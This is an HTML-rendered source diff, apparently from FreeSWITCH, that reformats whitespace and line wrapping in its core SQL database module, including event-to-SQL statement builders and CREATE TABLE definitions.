</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!sql_manager.manage) {
</span><span class="cx">                         switch_yield(100000);
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
-                if (switch_queue_trypop(sql_manager.sql_queue[0], &amp;pop) == SWITCH_STATUS_SUCCESS || 
</del><ins>+
+                if (switch_queue_trypop(sql_manager.sql_queue[0], &amp;pop) == SWITCH_STATUS_SUCCESS ||
</ins><span class="cx">                         switch_queue_trypop(sql_manager.sql_queue[1], &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         sql = (char *) pop;
</span><span class="cx"> 
</span><span class="lines">@@ -838,7 +846,7 @@
</span><span class="cx">                                 if (itterations == 0) {
</span><span class="cx">                                         trans = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* ignore abnormally large strings sql strings as potential buffer overflow */
</span><span class="cx">                                 if (newlen &lt; SQLLEN) {
</span><span class="cx">                                         itterations++;
</span><span class="lines">@@ -863,8 +871,8 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         nothing_in_queue = 1;
</span><span class="cx">                 }
</span><del>-                
-                
</del><ins>+
+
</ins><span class="cx">                 if (trans &amp;&amp; ((itterations == target) || (nothing_in_queue &amp;&amp; ++lc &gt;= 500))) {
</span><span class="cx">                         if (switch_cache_db_persistant_execute_trans(sql_manager.event_db, sqlbuf, 1) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;SQL thread unable to commit transaction, records lost!\n&quot;);
</span><span class="lines">@@ -876,7 +884,7 @@
</span><span class="cx">                         *sqlbuf = '\0';
</span><span class="cx">                         lc = 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nothing_in_queue) {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="lines">@@ -910,45 +918,40 @@
</span><span class="cx">                 {
</span><span class="cx">                         const char *id = switch_event_get_header(event, &quot;task-id&quot;);
</span><span class="cx">                         const char *manager = switch_event_get_header(event, &quot;task-sql_manager&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;insert into tasks values(%q,'%q','%q',%q, '%q')&quot;,
</span><span class="cx">                                                                          id,
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;task-desc&quot;),
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;task-group&quot;), 
-                                                                         manager ? manager : &quot;0&quot;,
-                                                                         switch_core_get_variable(&quot;hostname&quot;)
-                                                                         );
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;task-group&quot;), manager ? manager : &quot;0&quot;, switch_core_get_variable(&quot;hostname&quot;)
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_DEL_SCHEDULE:
</span><span class="cx">         case SWITCH_EVENT_EXE_SCHEDULE:
</span><del>-                sql = switch_mprintf(&quot;delete from tasks where task_id=%q and hostname='%q'&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;delete from tasks where task_id=%q and hostname='%q'&quot;,
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;task-id&quot;), switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_RE_SCHEDULE:
</span><span class="cx">                 {
</span><span class="cx">                         const char *id = switch_event_get_header(event, &quot;task-id&quot;);
</span><span class="cx">                         const char *manager = switch_event_get_header(event, &quot;task-sql_manager&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;update tasks set task_desc='%q',task_group='%q', task_sql_manager=%q where task_id=%q and hostname='%q'&quot;,
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;task-desc&quot;), 
-                                                                         switch_event_get_header_nil(event, &quot;task-group&quot;), 
-                                                                         manager ? manager : &quot;0&quot;,
-                                                                         id, switch_core_get_variable(&quot;hostname&quot;));
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;task-desc&quot;),
+                                                                         switch_event_get_header_nil(event, &quot;task-group&quot;), manager ? manager : &quot;0&quot;, id, switch_core_get_variable(&quot;hostname&quot;));
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_DESTROY:
</span><del>-                sql = switch_mprintf(&quot;delete from channels where uuid='%q' and hostname='%q'&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;delete from channels where uuid='%q' and hostname='%q'&quot;,
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_UUID:
</span><span class="cx">                 {
</span><del>-                        sql = switch_mprintf(
-                                                                 &quot;update channels set uuid='%q' where uuid='%q' and hostname='%q';&quot;
</del><ins>+                        sql = switch_mprintf(&quot;update channels set uuid='%q' where uuid='%q' and hostname='%q';&quot;
</ins><span class="cx">                                                                  &quot;update calls set caller_uuid='%q' where caller_uuid='%q' and hostname='%q';&quot;
</span><span class="cx">                                                                  &quot;update calls set callee_uuid='%q' where callee_uuid='%q' and hostname='%q'&quot;,
</span><span class="cx">                                                                  switch_event_get_header_nil(event, &quot;unique-id&quot;),
</span><span class="lines">@@ -958,9 +961,8 @@
</span><span class="cx">                                                                  switch_event_get_header_nil(event, &quot;old-unique-id&quot;),
</span><span class="cx">                                                                  switch_core_get_variable(&quot;hostname&quot;),
</span><span class="cx">                                                                  switch_event_get_header_nil(event, &quot;unique-id&quot;),
</span><del>-                                                                 switch_event_get_header_nil(event, &quot;old-unique-id&quot;),
-                                                                 switch_core_get_variable(&quot;hostname&quot;)
-                                                                 );
</del><ins>+                                                                 switch_event_get_header_nil(event, &quot;old-unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;)
+                                );
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_CREATE:
</span><span class="lines">@@ -969,21 +971,20 @@
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;unique-id&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;call-direction&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;event-date-local&quot;),
</span><del>-                                                         (long)switch_epoch_time_now(NULL),                                                         
</del><ins>+                                                         (long) switch_epoch_time_now(NULL),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;channel-name&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;channel-state&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;caller-dialplan&quot;),
</span><del>-                                                         switch_event_get_header_nil(event, &quot;caller-context&quot;),
-                                                         switch_core_get_variable(&quot;hostname&quot;)
-                                                         );
</del><ins>+                                                         switch_event_get_header_nil(event, &quot;caller-context&quot;), switch_core_get_variable(&quot;hostname&quot;)
+                        );
</ins><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CODEC:
</span><span class="cx">                 sql =
</span><span class="cx">                         switch_mprintf
</span><span class="cx">                         (&quot;update channels set read_codec='%q',read_rate='%q',write_codec='%q',write_rate='%q' where uuid='%q' and hostname='%q'&quot;,
</span><del>-                         switch_event_get_header_nil(event, &quot;channel-read-codec-name&quot;), 
</del><ins>+                         switch_event_get_header_nil(event, &quot;channel-read-codec-name&quot;),
</ins><span class="cx">                          switch_event_get_header_nil(event, &quot;channel-read-codec-rate&quot;),
</span><del>-                         switch_event_get_header_nil(event, &quot;channel-write-codec-name&quot;), 
</del><ins>+                         switch_event_get_header_nil(event, &quot;channel-write-codec-name&quot;),
</ins><span class="cx">                          switch_event_get_header_nil(event, &quot;channel-write-codec-rate&quot;),
</span><span class="cx">                          switch_event_get_header_nil(event, &quot;unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                 break;
</span><span class="lines">@@ -991,12 +992,12 @@
</span><span class="cx">                 sql = switch_mprintf(&quot;update channels set application='%q',application_data='%q',&quot;
</span><span class="cx">                                                          &quot;presence_id='%q',presence_data='%q' where uuid='%q' and hostname='%q'&quot;,
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;application&quot;),
</span><del>-                                                         switch_event_get_header_nil(event, &quot;application-data&quot;), 
</del><ins>+                                                         switch_event_get_header_nil(event, &quot;application-data&quot;),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;channel-presence-id&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;channel-presence-data&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;)
</span><span class="cx"> 
</span><del>-                                                         );
</del><ins>+                        );
</ins><span class="cx"> 
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_STATE:
</span><span class="lines">@@ -1020,8 +1021,8 @@
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;caller-caller-id-name&quot;),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;caller-caller-id-number&quot;),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;caller-network-addr&quot;),
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;caller-destination-number&quot;), 
-                                                                         switch_event_get_header_nil(event, &quot;caller-dialplan&quot;), 
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;caller-destination-number&quot;),
+                                                                         switch_event_get_header_nil(event, &quot;caller-dialplan&quot;),
</ins><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;caller-context&quot;),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;channel-presence-id&quot;),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;channel-presence-data&quot;),
</span><span class="lines">@@ -1029,7 +1030,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 sql = switch_mprintf(&quot;update channels set state='%s' where uuid='%s' and hostname='%q'&quot;,
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;channel-state&quot;), 
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;channel-state&quot;),
</ins><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -1038,7 +1039,7 @@
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_BRIDGE:
</span><span class="cx">                 sql = switch_mprintf(&quot;insert into calls values ('%s', '%ld', '%s','%q','%q','%q','%q','%s','%q','%q','%q','%q','%s','%q')&quot;,
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;event-date-local&quot;),
</span><del>-                                                         (long)switch_epoch_time_now(NULL),
</del><ins>+                                                         (long) switch_epoch_time_now(NULL),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;event-calling-function&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;caller-caller-id-name&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;caller-caller-id-number&quot;),
</span><span class="lines">@@ -1048,23 +1049,20 @@
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;Other-Leg-caller-id-name&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;Other-Leg-caller-id-number&quot;),
</span><span class="cx">                                                          switch_event_get_header_nil(event, &quot;Other-Leg-destination-number&quot;),
</span><del>-                                                         switch_event_get_header_nil(event, &quot;Other-Leg-channel-name&quot;), 
-                                                         switch_event_get_header_nil(event, &quot;Other-Leg-unique-id&quot;),
-                                                         switch_core_get_variable(&quot;hostname&quot;)
</del><ins>+                                                         switch_event_get_header_nil(event, &quot;Other-Leg-channel-name&quot;),
+                                                         switch_event_get_header_nil(event, &quot;Other-Leg-unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;)
</ins><span class="cx">                         );
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_UNBRIDGE:
</span><del>-                sql = switch_mprintf(&quot;delete from calls where caller_uuid='%s' and hostname='%q'&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;delete from calls where caller_uuid='%s' and hostname='%q'&quot;,
</ins><span class="cx">                                                          switch_event_get_header_nil(event, &quot;caller-unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_SHUTDOWN:
</span><span class="cx">                 sql = switch_mprintf(&quot;delete from channels where hostname='%q';&quot;
</span><span class="cx">                                                          &quot;delete from interfaces where hostname='%q';&quot;
</span><span class="cx">                                                          &quot;delete from calls where hostname='%q'&quot;,
</span><del>-                                                         switch_core_get_variable(&quot;hostname&quot;),
-                                                         switch_core_get_variable(&quot;hostname&quot;),
-                                                         switch_core_get_variable(&quot;hostname&quot;)
-                                                         );
</del><ins>+                                                         switch_core_get_variable(&quot;hostname&quot;), switch_core_get_variable(&quot;hostname&quot;), switch_core_get_variable(&quot;hostname&quot;)
+                        );
</ins><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_LOG:
</span><span class="cx">                 return;
</span><span class="lines">@@ -1078,10 +1076,11 @@
</span><span class="cx">                         const char *filename = switch_event_get_header_nil(event, &quot;filename&quot;);
</span><span class="cx">                         if (!zstr(type) &amp;&amp; !zstr(name)) {
</span><span class="cx">                                 sql =
</span><del>-                                        switch_mprintf(&quot;insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')&quot;,
-                                                                   type, name, switch_str_nil(description), switch_str_nil(syntax), 
-                                                                   switch_str_nil(key), switch_str_nil(filename), switch_core_get_variable(&quot;hostname&quot;)
-                                                                   );
</del><ins>+                                        switch_mprintf
+                                        (&quot;insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')&quot;, type, name,
+                                         switch_str_nil(description), switch_str_nil(syntax), switch_str_nil(key), switch_str_nil(filename),
+                                         switch_core_get_variable(&quot;hostname&quot;)
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1090,7 +1089,7 @@
</span><span class="cx">                         const char *type = switch_event_get_header_nil(event, &quot;type&quot;);
</span><span class="cx">                         const char *name = switch_event_get_header_nil(event, &quot;name&quot;);
</span><span class="cx">                         if (!zstr(type) &amp;&amp; !zstr(name)) {
</span><del>-                                sql = switch_mprintf(&quot;delete from interfaces where type='%q' and name='%q' and hostname='%q'&quot;, type, name, 
</del><ins>+                                sql = switch_mprintf(&quot;delete from interfaces where type='%q' and name='%q' and hostname='%q'&quot;, type, name,
</ins><span class="cx">                                                                          switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -1103,10 +1102,8 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                         sql = switch_mprintf(&quot;update channels set secure='%s' where uuid='%s' and hostname='%q'&quot;,
</span><del>-                                                                 type,
-                                                                 switch_event_get_header_nil(event, &quot;caller-unique-id&quot;),
-                                                                 switch_core_get_variable(&quot;hostname&quot;)
-                                                                 );
</del><ins>+                                                                 type, switch_event_get_header_nil(event, &quot;caller-unique-id&quot;), switch_core_get_variable(&quot;hostname&quot;)
+                                );
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         case SWITCH_EVENT_NAT:
</span><span class="lines">@@ -1116,15 +1113,12 @@
</span><span class="cx">                         if (!strcmp(&quot;add&quot;, op)) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;insert into nat (port, proto, sticky, hostname) values (%s, %s, %d,'%q')&quot;,
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;port&quot;),
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;proto&quot;),
-                                                                         sticky,
-                                                                         switch_core_get_variable(&quot;hostname&quot;)
-                                                                         );
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;proto&quot;), sticky, switch_core_get_variable(&quot;hostname&quot;)
+                                        );
</ins><span class="cx">                         } else if (!strcmp(&quot;del&quot;, op)) {
</span><span class="cx">                                 sql = switch_mprintf(&quot;delete from nat where port=%s and proto=%s and hostname='%q'&quot;,
</span><span class="cx">                                                                          switch_event_get_header_nil(event, &quot;port&quot;),
</span><del>-                                                                         switch_event_get_header_nil(event, &quot;proto&quot;),
-                                                                         switch_core_get_variable(&quot;hostname&quot;));
</del><ins>+                                                                         switch_event_get_header_nil(event, &quot;proto&quot;), switch_core_get_variable(&quot;hostname&quot;));
</ins><span class="cx">                         } else if (!strcmp(&quot;status&quot;, op)) {
</span><span class="cx">                                 /* call show nat api */
</span><span class="cx">                         } else if (!strcmp(&quot;status_response&quot;, op)) {
</span><span class="lines">@@ -1151,27 +1145,17 @@
</span><span class="cx"> 
</span><span class="cx"> static char create_complete_sql[] =
</span><span class="cx">         &quot;CREATE TABLE complete (\n&quot;
</span><del>-        &quot;   sticky  INTEGER,\n&quot; 
-        &quot;   a1  VARCHAR(128),\n&quot; 
-        &quot;   a2  VARCHAR(128),\n&quot; 
-        &quot;   a3  VARCHAR(128),\n&quot; 
-        &quot;   a4  VARCHAR(128),\n&quot; 
-        &quot;   a5  VARCHAR(128),\n&quot; 
-        &quot;   a6  VARCHAR(128),\n&quot; 
-        &quot;   a7  VARCHAR(128),\n&quot; 
-        &quot;   a8  VARCHAR(128),\n&quot; 
-        &quot;   a9  VARCHAR(128),\n&quot; 
-        &quot;   a10 VARCHAR(128),\n&quot; 
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;   sticky  INTEGER,\n&quot;
+        &quot;   a1  VARCHAR(128),\n&quot;
+        &quot;   a2  VARCHAR(128),\n&quot;
+        &quot;   a3  VARCHAR(128),\n&quot;
+        &quot;   a4  VARCHAR(128),\n&quot;
+        &quot;   a5  VARCHAR(128),\n&quot;
+        &quot;   a6  VARCHAR(128),\n&quot;
+        &quot;   a7  VARCHAR(128),\n&quot; &quot;   a8  VARCHAR(128),\n&quot; &quot;   a9  VARCHAR(128),\n&quot; &quot;   a10 VARCHAR(128),\n&quot; &quot;   hostname VARCHAR(256)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char create_alias_sql[] =
</span><del>-        &quot;CREATE TABLE aliases (\n&quot;
-        &quot;   sticky  INTEGER,\n&quot; 
-        &quot;   alias  VARCHAR(128),\n&quot; 
-        &quot;   command  VARCHAR(4096),\n&quot; 
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;CREATE TABLE aliases (\n&quot; &quot;   sticky  INTEGER,\n&quot; &quot;   alias  VARCHAR(128),\n&quot; &quot;   command  VARCHAR(4096),\n&quot; &quot;   hostname VARCHAR(256)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char create_channels_sql[] =
</span><span class="cx">         &quot;CREATE TABLE channels (\n&quot;
</span><span class="lines">@@ -1189,15 +1173,13 @@
</span><span class="cx">         &quot;   application_data  VARCHAR(4096),\n&quot;
</span><span class="cx">         &quot;   dialplan VARCHAR(128),\n&quot;
</span><span class="cx">         &quot;   context VARCHAR(128),\n&quot;
</span><del>-        &quot;   read_codec  VARCHAR(128),\n&quot; 
-        &quot;   read_rate  VARCHAR(32),\n&quot; 
-        &quot;   write_codec  VARCHAR(128),\n&quot; 
-        &quot;   write_rate  VARCHAR(32),\n&quot; 
</del><ins>+        &quot;   read_codec  VARCHAR(128),\n&quot;
+        &quot;   read_rate  VARCHAR(32),\n&quot;
+        &quot;   write_codec  VARCHAR(128),\n&quot;
+        &quot;   write_rate  VARCHAR(32),\n&quot;
</ins><span class="cx">         &quot;   secure VARCHAR(32),\n&quot;
</span><del>-        &quot;   hostname VARCHAR(256),\n&quot; 
-        &quot;   presence_id VARCHAR(4096),\n&quot; 
-        &quot;   presence_data VARCHAR(4096)\n&quot; 
-        &quot;);\ncreate index uuindex on channels (uuid,hostname);\n&quot;;
</del><ins>+        &quot;   hostname VARCHAR(256),\n&quot;
+        &quot;   presence_id VARCHAR(4096),\n&quot; &quot;   presence_data VARCHAR(4096)\n&quot; &quot;);\ncreate index uuindex on channels (uuid,hostname);\n&quot;;
</ins><span class="cx"> static char create_calls_sql[] =
</span><span class="cx">         &quot;CREATE TABLE calls (\n&quot;
</span><span class="cx">         &quot;   call_created  VARCHAR(128),\n&quot;
</span><span class="lines">@@ -1210,38 +1192,25 @@
</span><span class="cx">         &quot;   caller_uuid      VARCHAR(256),\n&quot;
</span><span class="cx">         &quot;   callee_cid_name  VARCHAR(1024),\n&quot;
</span><span class="cx">         &quot;   callee_cid_num   VARCHAR(256),\n&quot;
</span><del>-        &quot;   callee_dest_num  VARCHAR(256),\n&quot; 
-        &quot;   callee_chan_name VARCHAR(1024),\n&quot; 
-        &quot;   callee_uuid      VARCHAR(256),\n&quot; 
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;
-        &quot;create index eruuindex on calls (caller_uuid,hostname);\n&quot;
-        &quot;create index eeuuindex on calls (callee_uuid,hostname);\n&quot;;
</del><ins>+        &quot;   callee_dest_num  VARCHAR(256),\n&quot;
+        &quot;   callee_chan_name VARCHAR(1024),\n&quot;
+        &quot;   callee_uuid      VARCHAR(256),\n&quot;
+        &quot;   hostname VARCHAR(256)\n&quot;
+        &quot;);\n&quot; &quot;create index eruuindex on calls (caller_uuid,hostname);\n&quot; &quot;create index eeuuindex on calls (callee_uuid,hostname);\n&quot;;
</ins><span class="cx"> static char create_interfaces_sql[] =
</span><span class="cx">         &quot;CREATE TABLE interfaces (\n&quot;
</span><span class="cx">         &quot;   type             VARCHAR(128),\n&quot;
</span><del>-        &quot;   name             VARCHAR(1024),\n&quot; 
-        &quot;   description      VARCHAR(4096),\n&quot; 
-        &quot;   ikey             VARCHAR(1024),\n&quot; 
-        &quot;   filename         VARCHAR(4096),\n&quot; 
-        &quot;   syntax           VARCHAR(4096),\n&quot; 
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;   name             VARCHAR(1024),\n&quot;
+        &quot;   description      VARCHAR(4096),\n&quot;
+        &quot;   ikey             VARCHAR(1024),\n&quot;
+        &quot;   filename         VARCHAR(4096),\n&quot; &quot;   syntax           VARCHAR(4096),\n&quot; &quot;   hostname VARCHAR(256)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> static char create_tasks_sql[] =
</span><span class="cx">         &quot;CREATE TABLE tasks (\n&quot;
</span><span class="cx">         &quot;   task_id             INTEGER,\n&quot;
</span><del>-        &quot;   task_desc           VARCHAR(4096),\n&quot; 
-        &quot;   task_group          VARCHAR(1024),\n&quot; 
-        &quot;   task_sql_manager    INTEGER,\n&quot; 
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;;
-static char create_nat_sql[] = 
-        &quot;CREATE TABLE nat (\n&quot;
-        &quot;   sticky  INTEGER,\n&quot; 
-        &quot;        port        INTEGER,\n&quot;
-        &quot;        proto        INTEGER,\n&quot;
-        &quot;   hostname VARCHAR(256)\n&quot; 
-        &quot;);\n&quot;;
</del><ins>+        &quot;   task_desc           VARCHAR(4096),\n&quot;
+        &quot;   task_group          VARCHAR(1024),\n&quot; &quot;   task_sql_manager    INTEGER,\n&quot; &quot;   hostname VARCHAR(256)\n&quot; &quot;);\n&quot;;
+static char create_nat_sql[] =
+        &quot;CREATE TABLE nat (\n&quot; &quot;   sticky  INTEGER,\n&quot; &quot;        port        INTEGER,\n&quot; &quot;        proto        INTEGER,\n&quot; &quot;   hostname VARCHAR(256)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> switch_status_t switch_core_sqldb_start(switch_memory_pool_t *pool, switch_bool_t manage)
</span><span class="cx"> {
</span><span class="lines">@@ -1250,14 +1219,14 @@
</span><span class="cx"> 
</span><span class="cx">         sql_manager.memory_pool = pool;
</span><span class="cx">         sql_manager.manage = manage;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_init(&amp;sql_manager.dbh_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
</span><span class="cx">         switch_mutex_init(&amp;sql_manager.io_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_init(&amp;sql_manager.dbh_hash, sql_manager.memory_pool);
</span><span class="cx"> 
</span><del>- top:
-        
</del><ins>+  top:
+
</ins><span class="cx">         /* Activate SQL database */
</span><span class="cx">         if (switch_core_db_handle(&amp;dbh) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB!\n&quot;);
</span><span class="lines">@@ -1275,18 +1244,18 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Opening DB\n&quot;);
</span><span class="cx"> 
</span><span class="cx">         switch (dbh-&gt;type) {
</span><span class="cx">         case SCDB_TYPE_ODBC:
</span><span class="cx">                 {
</span><span class="cx">                         char sql[512] = &quot;&quot;;
</span><del>-                        char *tables[] = {&quot;channels&quot;, &quot;calls&quot;, &quot;interfaces&quot;, &quot;tasks&quot;, NULL};
</del><ins>+                        char *tables[] = { &quot;channels&quot;, &quot;calls&quot;, &quot;interfaces&quot;, &quot;tasks&quot;, NULL };
</ins><span class="cx">                         int i;
</span><span class="cx">                         const char *hostname = switch_core_get_variable(&quot;hostname&quot;);
</span><span class="cx"> 
</span><del>-                        for(i = 0; tables[i]; i++) {
</del><ins>+                        for (i = 0; tables[i]; i++) {
</ins><span class="cx">                                 switch_snprintf(sql, sizeof(sql), &quot;delete from %s where hostname='%s'&quot;, tables[i], hostname);
</span><span class="cx">                                 switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">                         }
</span><span class="lines">@@ -1306,7 +1275,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">         switch_cache_db_test_reactive(dbh, &quot;select hostname from complete&quot;, &quot;DROP TABLE complete&quot;, create_complete_sql);
</span><span class="cx">         switch_cache_db_test_reactive(dbh, &quot;select hostname from aliases&quot;, &quot;DROP TABLE aliases&quot;, create_alias_sql);
</span><span class="cx">         switch_cache_db_test_reactive(dbh, &quot;select hostname from nat&quot;, &quot;DROP TABLE nat&quot;, create_nat_sql);
</span><span class="lines">@@ -1320,9 +1289,9 @@
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, &quot;select hostname from calls&quot;, &quot;DROP TABLE calls&quot;, create_calls_sql);
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, &quot;select ikey from interfaces&quot;, &quot;DROP TABLE interfaces&quot;, create_interfaces_sql);
</span><span class="cx">                         switch_cache_db_test_reactive(dbh, &quot;select hostname from tasks&quot;, &quot;DROP TABLE tasks&quot;, create_tasks_sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_cache_db_execute_sql(dbh, &quot;begin;delete from channels where hostname='';delete from channels where hostname='';commit;&quot;, &amp;err);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (err) {
</span><span class="cx">                                 runtime.odbc_dsn = NULL;
</span><span class="cx">                                 runtime.odbc_user = NULL;
</span><span class="lines">@@ -1343,8 +1312,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_cache_db_execute_sql(dbh, &quot;delete from complete where sticky=0&quot;, NULL);
</span><span class="cx">         switch_cache_db_execute_sql(dbh, &quot;delete from aliases where sticky=0&quot;, NULL);
</span><span class="cx">         switch_cache_db_execute_sql(dbh, &quot;delete from nat where sticky=0&quot;, NULL);
</span><span class="lines">@@ -1366,7 +1335,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (sql_manager.manage) {
</span><del>-                if (switch_event_bind_removable(&quot;core_db&quot;, SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY, 
</del><ins>+                if (switch_event_bind_removable(&quot;core_db&quot;, SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY,
</ins><span class="cx">                                                                                 core_event_handler, NULL, &amp;sql_manager.event_node) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind event handler!\n&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -1382,7 +1351,7 @@
</span><span class="cx">         while (!sql_manager.thread_running) {
</span><span class="cx">                 switch_yield(10000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1393,7 +1362,7 @@
</span><span class="cx">         switch_status_t st;
</span><span class="cx"> 
</span><span class="cx">         switch_event_unbind(&amp;sql_manager.event_node);
</span><del>-        
</del><ins>+
